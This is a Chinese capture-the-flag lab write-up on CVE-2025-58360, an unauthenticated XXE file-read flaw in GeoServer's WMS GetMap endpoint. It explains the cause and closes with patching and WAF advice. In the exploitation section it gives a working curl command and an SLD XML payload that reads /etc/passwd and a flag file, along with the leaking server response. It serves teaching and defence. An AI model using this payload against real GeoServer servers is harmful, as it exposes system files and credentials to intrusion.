玄机网络安全靶场:GeoServer XXE 任意文件读取(CVE-2025-58360)
解题报告GeoServer XXE 任意文件读取CVE-2025-58360平台玄机 (xj.edisec.net)题目 ID443难度简单类型渗透积分300 分完成状态✅ 已完成FlagFLAG{CVE-2025-58360_GeoServer_XXE_Success}一、漏洞背景CVE-2025-58360 是 GeoServer一款开源地理空间数据服务器中存在的XML 外部实体注入XXE漏洞。该漏洞于 2025 年 11 月 25 日由 XBOW 安全研究团队披露CVSS v3 评分8.2高危且已被 CISA 确认存在在野利用。属性详情CVE 编号CVE-2025-58360影响版本GeoServer ≤ 2.25.5 及 2.26.0–2.26.1修复版本GeoServer 2.25.6 / 2.26.2 / 2.27.0漏洞类型XML 外部实体注入XXE → 任意文件读取 / SSRF漏洞端点POST /geoserver/wmsoperationGetMapCVSS 评分8.2高危认证要求无需认证未授权可利用二、靶机信息项目值靶机公网 IP68.79.22.133靶机内网 IP10.0.10.2服务端口8081服务路径/geoserver目标文件/usr/local/flag.txt三、漏洞分析3.1 漏洞成因GeoServer 的 WMSWeb Map ServiceGetMap操作支持通过请求体传入StyledLayerDescriptorSLD格式的 XML 数据用于描述地图渲染样式。然而GeoServer 使用的 XML 解析器未禁用外部实体解析DTD/ENTITY导致攻击者可以在 SLD XML 中定义外部实体引用服务器本地文件从而实现任意文件读取。POST /geoserver/wms?serviceWMSrequestGetMap... Content-Type: application/xml ?xml version1.0 encodingUTF-8? !DOCTYPE StyledLayerDescriptor [ !ENTITY xxe SYSTEM file:///etc/passwd ← 定义外部实体 ] StyledLayerDescriptor version1.0.0 NamedLayer Namexxe;/Name ← 引用实体触发文件读取 /NamedLayer /StyledLayerDescriptor3.2 数据泄露路径GeoServer 在处理GetMap请求时将Name标签的内容作为图层名称进行查找。当图层名称不存在时服务器会在ServiceExceptionReport响应中返回Unknown layer: 图层名的错误信息而此时图层名已被替换为外部实体的文件内容从而实现带内In-BandXXE 数据泄露。四、漏洞利用过程4.1 确认服务可访问curl-s-o/dev/null-wHTTP Status: %{http_code}\n\http://68.79.22.133:8081/geoserver/web/# 返回 HTTP 302重定向至登录页确认 GeoServer 服务存在4.2 构造 XXE Payloadcurl-s-XPOST\-HContent-Type: application/xml\http://68.79.22.133:8081/geoserver/wms?serviceWMSversion1.1.0requestGetMapwidth100height100formatimage/pngbbox-180,-90,180,90\--data?xml version1.0 encodingUTF-8? !DOCTYPE StyledLayerDescriptor [ !ENTITY xxe SYSTEM file:///usr/local/flag.txt ] StyledLayerDescriptor version1.0.0 NamedLayer Namexxe;/Name /NamedLayer /StyledLayerDescriptor4.3 服务器响应含 Flag服务器返回 XML 格式的错误响应文件内容在ServiceException标签中泄露?xml version1.0 encodingUTF-8 standaloneno?!DOCTYPEServiceExceptionReportSYSTEMhttp://68.79.22.133:8081/geoserver/schemas/wms/1.1.1/WMS_exception_1_1_1.dtdServiceExceptionReportversion1.1.1ServiceExceptionUnknown layer: FLAG{CVE-2025-58360_GeoServer_XXE_Success}/ServiceException/ServiceExceptionReportFlag 成功读取FLAG{CVE-2025-58360_GeoServer_XXE_Success}五、关键技术要点1. 带内 XXEIn-Band XXE本漏洞属于带内 XXE文件内容直接在 HTTP 响应体中返回无需外带OOB通道利用极为简单。2. 无需认证/geoserver/wms端点无需登录即可访问攻击者可直接发起利用。3. 一次请求即可获取 Flag整个利用过程仅需一条curl命令响应时间约 2 秒极为高效。4. 数据泄露载体GeoServer 将未知图层名称原样返回在错误信息中这是 XXE 数据泄露的关键路径。六、修复建议修复方向具体措施升级版本升级至 GeoServer 2.25.6、2.26.2 或 2.27.0 及以上版本禁用外部实体在 XML 解析器配置中设置FEATURE_SECURE_PROCESSING true禁用 DTD 和外部实体网络访问控制限制 GeoServer 管理端口仅对可信 IP 开放WAF 规则检测请求体中包含!DOCTYPE、!ENTITY、SYSTEM等 XXE 特征的请求
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2563576.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!